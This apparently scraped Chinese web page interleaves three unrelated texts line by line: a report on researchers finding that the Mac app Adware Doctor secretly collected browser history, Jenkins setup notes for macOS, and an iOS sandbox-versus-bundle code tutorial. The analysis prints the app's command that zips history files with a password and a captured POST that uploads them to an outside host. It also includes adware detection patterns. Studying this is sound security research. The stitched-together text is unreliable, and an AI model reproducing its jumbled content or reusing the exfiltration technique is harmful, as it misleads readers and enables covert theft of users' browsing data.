被指向中国服务器提供数据,Mac App Store下架排名第一的付费安软

原标题:被指向中国服务器提供数据,Mac App Store下架排名第一的付费安软

Jenkins环境深入理解

    1. Jenkins相关配置文件路径
    • Jenkins工作目录:/Users/Shared/Jenkins/Home

      • 项目目录:/jobs

        • 单个项目目录:/jobs/项目名称

          • 项目配置文件:/jobs/项目名称/config.xml

          • 项目编译目录:/jobs/项目名称/builds

          • 项目空间目录:/jobs/项目名称/workspace

      • 插件目录:/plugins

    • Jenkins环境配置文件:/Library/LaunchDaemons/org.jenkins-ci.plist

      • 配置 日志文件路径

      • 配置 Jenkins工作目录

      • 配置 Jenkins启动脚本

      • 配置 Jenkins的用户归属

    • Jenkins参数配置文件:/Library/Preferences/org.jenkins-ci.plist

      • 配置 http 端口号

      • 配置 https 端口号

      • 配置 https 证书信息

      • 等等。。。。。。

    • 日志:/private/var/log/jenkins/jenkins.log

    • 启动目录:/Library/Application Support/Jenkins

      • 启动脚本:jenkins-runner.sh

      • 卸载脚本:Uninstall.command

    • 重新启动Jenkins

      • 网页重启方式:

      • 重启电脑方式

      • 手动重启方式:

        • sudo launchctl load
          /Library/LaunchDaemons/org.jenkins-ci.plist

        • sudo launchctl unload
          /Library/LaunchDaemons/org.jenkins-ci.plist

  • [ ] 2. Jenkins 配置 https 地址

    • 生成 https 证书

      • 1

      • 2

      • 3

    • 配置 https 证书位置

      • 将证书key保存到
        /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 将证书cert保存到
        /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Preferences/org.jenkins-ci.plist 文件

      • 添加 httpsPort : 8443

      • 添加 httpsPrivateKey :
        /Users/Shared/Jenkins/zhengshu/server-key.pem

      • 添加 httpsCertificate :
        /Users/Shared/Jenkins/zhengshu/server-cert.pem

    • 配置 /Library/Application Support/Jenkins/jenkins-runner.sh 文件

      • 添加代码 add_to_args httpsPrivateKey

      • 添加代码 add_to_args httpsCertificate

  • 重启启动Jenkins

    • 重启电脑方式

    • 手动重启方式:

      • sudo launchctl unload
        /Library/LaunchDaemons/org.jenkins-ci.plist

      • sudo launchctl load
        /Library/LaunchDaemons/org.jenkins-ci.plist

1 沙盒和NSBundle的区别

前言

沙盒(NSHomeDirectory()) 是系统加载 app时,为 app
分配的存储空间。如本地数据库,文件存储;

近日有外媒报道,Mac App Store中付费安全软件中排名第一的Adware
Doctor被研究人员发现在未经用户同意的情况下收集浏览历史,并将数据发送至位于中国的服务器,之后被Mac
App Store下架。

NSBundle 是系统加载 app时,app
的可执行代码和这些代码需要的资源文件所在的目录;

在被下架之前,Adware
Doctor是一款广受用户欢迎的安全应用,旨在保护用户的浏览器免受广告软件和恶意软件威胁。国外研究人员解构了此次发生的下架事件的前因后果。

下面打印出他们的地址。

Adware Doctor

注意:每次打印出的地址都是不同的

在Adware
Doctor的宣传中,它是Mac用户抵御各种常见广告软件威胁的“最佳应用”:

– (void)viewDidLoad {

图片 1

[super viewDidLoad];

在Mac App
Store中,这款应用程序非常受欢迎,在最畅销的应用程序中排名第四,因此连苹果Mac
App Store网站都列出了它的信息:

NSLog(@”bundle: %p”, [[NSBundle mainBundle] infoDictionary]);

图片 2

NSLog(@”home: %p”, NSHomeDirectory());

在“付费实用工具”分类中,Adware Doctor排名第一:

NSLog(@”code: %p”, self);

图片 3

NSLog(@”bundle: %@”, [[NSBundle mainBundle] bundlePath]);

事件解构

NSLog(@”home: %@”, NSHomeDirectory());

研究人员使用静态分析(反编译)和动态分析(网络监控、文件监控和调试)的方法对这款应用程序进行了研究,以下是过程和结果。

NSString *content = @”my file content”;

首先,研究人员从Mac App Store下载 Adware Doctor,确认该应用程序(与Mac
App Store中的所有应用程序一样)由苹果正常签发:

NSError *error;

图片 4

BOOL isRight = NO;

启动应用程序,观察到它通过HTTPS发出各种网络请求。例如,连接到adwareres.securemacos.com通过GET请求/AdwareDoctor/master.1.5.5.js:

isRight = [content writeToFile:[[[NSBundle mainBundle] bundlePath]
stringByAppendingPathComponent:@”file1.txt”]

图片 5

atomically:YES

如图所示,下载的master.1.5.5.js文件包含基本JSON配置数据:

encoding:NSUTF8StringEncoding

{

error:&error];

“disable_rate”:false,

if (!isRight) {

“disable_prescan”:false,

NSLog(@”write to bundle error: %@”, error.localizedDescription);

“sk_on”:false,

}

“faq_link”:“

isRight = [content
writeToFile:[NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
NSUserDomainMask, YES).firstObject
stringByAppendingPathComponent:@”file1.txt”]

}

atomically:YES

单击应用程序界面中的“Clean”按钮会触发另一个到adwareres.securemacos.com的网络请求,这次下载的是名为config1.5.0.js的第二个文件:

encoding:NSUTF8StringEncoding

图片 6

error:&error];

这次下载的config1.5.0.js文件包含更多JSON,最值得注意的是这款软件的数据库的链接:

if (!isRight) {

{

NSLog(@”write to home dir error: %@”, error.localizedDescription);

“update”:true,

}

“version”:“201808243”,

}

“url”:“https://adwareres.securemacos.com/patten/file201808243.db”

模拟器中输出:

}

第 1 次运行:

然后是一个看起来很正常的数据库更新过程:

2017-07-26 10:38:41.307 Harvest[2236:541410] bundle: 0x600000065380

图片 7

2017-07-26 10:38:41.307 Harvest[2236:541410] home: 0x7fd6d65043d0

研究人员查看了数据库的内容,是加密的(符合反广告软件/反恶意软件的做法):

2017-07-26 10:38:41.307 Harvest[2236:541410] code: 0x7fd6d650d820

图片 8

2017-07-26 10:38:41.308 Harvest[2236:541410] bundle:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/817CFB68-19FE-4D58-960F-68F72BE236B7/Harvest.app

使用调试器捕获应用程序在内存中解密的文件,然后转储纯文本内容:

2017-07-26 10:38:41.308 Harvest[2236:541410] home:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/E1D22141-A32F-468E-91D5-307BD82FA251

(lldb)

第 2 次运行:

binaryContentMatchPatten = ({

2017-07-26 10:39:13.476 Harvest[2273:544438] bundle: 0x608000261040

md5 = (

2017-07-26 10:39:13.476 Harvest[2273:544438] home: 0x7f83b470cbb0

48a96e1c00be257debc9c9c58fafaffe,

2017-07-26 10:39:13.476 Harvest[2273:544438] code: 0x7f83b450e460

f1a19b8929ec88a81a6bdce6d5ee66e6,

2017-07-26 10:39:13.477 Harvest[2273:544438] bundle:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Bundle/Application/05F27F47-8384-40A7-9FDF-451255E282B3/Harvest.app

3e653285b290c12d40982e6bb65928c1,

2017-07-26 10:39:13.477 Harvest[2273:544438] home:
/Users/longhua/Library/Developer/CoreSimulator/Devices/2CB55BFD-8176-4ADC-99D6-5280D7BCCF1B/data/Containers/Data/Application/D91EC197-590D-4538-9651-435056AB5D19

801e59290d99ecb39fd218227674646e,

真机中输出:

8d0cd4565256a781f73aa1e68e2a63de,

第 1 次运行:

e233edd82b3dffd41fc9623519ea281b,

2017-07-26 10:33:04.426597+0800 Harvest[7963:2911220] bundle:
0x17007b8c0

1db830f93667d9c38dc943595dcc2d85,

2017-07-26 10:33:04.426826+0800 Harvest[7963:2911220] home:
0x17414e650

2017-07-26 10:33:04.426857+0800 Harvest[7963:2911220] code:
0x14de0ed10

browserHomePagePatten = (

2017-07-26 10:33:04.426885+0800 Harvest[7963:2911220] bundle:
/var/containers/Bundle/Application/0FF63C1B-80CC-4C79-9119-3EABE8D61F14/Harvest.app

{

2017-07-26 10:33:04.427091+0800 Harvest[7963:2911220] home:
/var/mobile/Containers/Data/Application/EA36910B-A24D-48BD-A657-561247429851

name = “Chrome homepage: safefinder”;

2017-07-26 10:33:04.446798+0800 Harvest[7963:2911220] write to bundle
error: 您没有将文件“file1.txt”存储到文件夹“丰收app”中的权限。

patten = “Chrome.*feed\\.snowbitt\\.com.*publisher=tingnew”;

第 2 次运行:

},

2017-07-26 10:35:51.724381+0800 Harvest[7969:2912283] bundle:
0x17007c7c0

{

2017-07-26 10:35:51.724596+0800 Harvest[7969:2912283] home:
0x174150490

name = “Chrome homepage: safefinder”;

2017-07-26 10:35:51.724627+0800 Harvest[7969:2912283] code:
0x145e0e4e0

patten = “Chrome.*feed\\.snowbitt\\.com.*publisher=TingSyn”;

2017-07-26 10:35:51.724655+0800 Harvest[7969:2912283] bundle:
/var/containers/Bundle/Application/36A3A0D0-B007-45B1-8672-7A9195CEDBF5/Harvest.app

},

2017-07-26 10:35:51.724857+0800 Harvest[7969:2912283] home:
/var/mobile/Containers/Data/Application/BDAA6308-C671-4022-B97C-F8EFE36CE746

{

2017-07-26 10:35:51.740230+0800 Harvest[7969:2912283] write to bundle
error: 您没有将文件“file1.txt”存储到文件夹“丰收app”中的权限。

name = “Chrome homepage: safefinder”;

显示 Harvest.app 的包内容:

patten = “Chrome.*searchword.*/90/”;

图片 9

},

打开 NSHomeDirectory() 中的内容:

图片 10

filePathPatten = (

结果分析:

“/Applications/WebShoppers”,

(1)bundle 中有个 info.plist 文件,是 app 的配置文件;沙盒的 Library /
Preferences 中有个 com.god.harvest.plist 文件,它用于 UserDefault 存储;

“/Applications/WebShoppy”,

另:使用 xcode > Devices 下载 app 的 container 内容,会看到主要就是
沙盒中的内容,再加上一个 AppDataInfo.plist(就是 info.plist).

“/Applications/SoftwareUpdater”,

(2)模拟器中,可以通过 writeToFile 向 沙盒 和 Bundle 中
写入文件;真机中是不能向 Bundle 中写入文件的;

“/Applications/webshoppers”,

官方文档中说明(地址:

“~/Library/Application Support/WebTools”,

• A package is any directory that the Finder presents to the user as if
it were a single file.

“~/Library/WebTools”,

• A bundle is a directory with a standardized hierarchical structure
that holds executable code and the resources used by that code.

“/Applications/WebTools”,

“/Applications/WebTools.app”,

“/Applications/SmartShoppy”,

“/Applications/ShopTool”,

“/Applications/ShoppyTool”,

“/Applications/EasyShopper”,

launchPathMatchPatten = (

“com.WebShoppers.agent.plist”,

“com.WebShoppy.agent.plist”,

“com.webshoppers.agent.plist”,

“com.SoftwareUpdater.agent.plist”,

whitelist = (

“~/Library/LaunchAgents/com.spotify.webhelper.plist”,

“/Library/LaunchDaemons/com.intel.haxm.plist”,

“/Library/LaunchDaemons/net.privatetunnel.ovpnagent.plist”,

“/Library/LaunchDaemons/com.mixlr.MixlrAudioLink.plist”,

“/Library/LaunchDaemons/com.mcafee.ssm.Eupdate.plist”,

“/Library/LaunchDaemons/com.mcafee.ssm.ScanFactory.plist”,

“/Library/LaunchDaemons/com.mcafee.ssm.ScanManager.plist”,

“/Library/LaunchDaemons/com.mcafee.virusscan.fmpd.plist”,

“/Library/LaunchDaemons/com.microsoft.autoupdate.helper.plist”,

“/Library/LaunchAgents/com.microsoft.update.agent.plist”,

“/Library/LaunchDaemons/com.crashplan.engine.plist”

这些特征看起来是一款反广告软件,并且哈希值确实与已知的广告软件匹配:

图片 11

例如Adware.MAC.Pirrit:

图片 12

回到Adware Doctor应用界面,它已准备好清理用户的系统:

图片 13

直到上面一步并没有出现异常,但后面对不对了。

首先,在运行文件监视器(例如MacOS内置的fs_usage)和对包含历史记录的文件进行过滤(不区分大小写)后,一些异常的文件访问历史显现出来:

# fs_usage -w -f filesystem | grep “Adware Doctor” | grep -i history

Adware Doctor.44148 open ~/Library/Application
Support/CallHistoryTransactions

Adware Doctor.44148 open ~/Library/Application Support/CallHistoryDB

Adware Doctor.44148 RdData[A]
/dev/disk1s1/Users/user/Library/Safari/History.db

Adware Doctor.44148 lstat64 /Users/user/Library/Application
Support/Google/Chrome/Default/History

Adware Doctor.44148 open
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history.zip

Adware Doctor.44148 lstat64
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/psCommonInfo

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/appstoreHistory

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/safariHistory

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/chromeHistory

Adware Doctor.44148 WrData[A]
~/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history/firefoxHistory

运行进程监视器(例如开源的ProcInfo实用程序),可以观察到Adware
Doctor使用内建zip实用程序创建受密码保护的history.zip存档:

# ./procInfo

process start:

pid: 2634

path: /bin/bash

args: (

“/bin/bash”,

“-c”,

“zip -r –quiet -P webtool
\”/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history.zip\”
\”/Users/user/Library/Containers/com.yelab.Browser-Sweeper/Data/Library/Application
Support/com.yelab.Browser-Sweeper/history\” > /dev/null”

)

使用网络代理监视器(Charles Proxy)捕获Adware
Doctor到adscan.yelabapp.com的连接尝试:

图片 14

通过编辑系统的/etc/hosts文件,将此请求重定向到研究人员控制的服务器,捕获到Adware
Doctor尝试上传history.zip文件:

# python https.py

listening for for HTTPS requests on port:443

192.168.86.76 – – [20/Aug/2018 10:53:24] “POST /1/checkadware
HTTP/1.1” 200 –

Headers:

Host: adscan.yelabapp.com

Content-Type: multipart/form-data;
boundary=Boundary-E2AE6908-4FC6-4C1D-911A-0B34F844C510

相关文章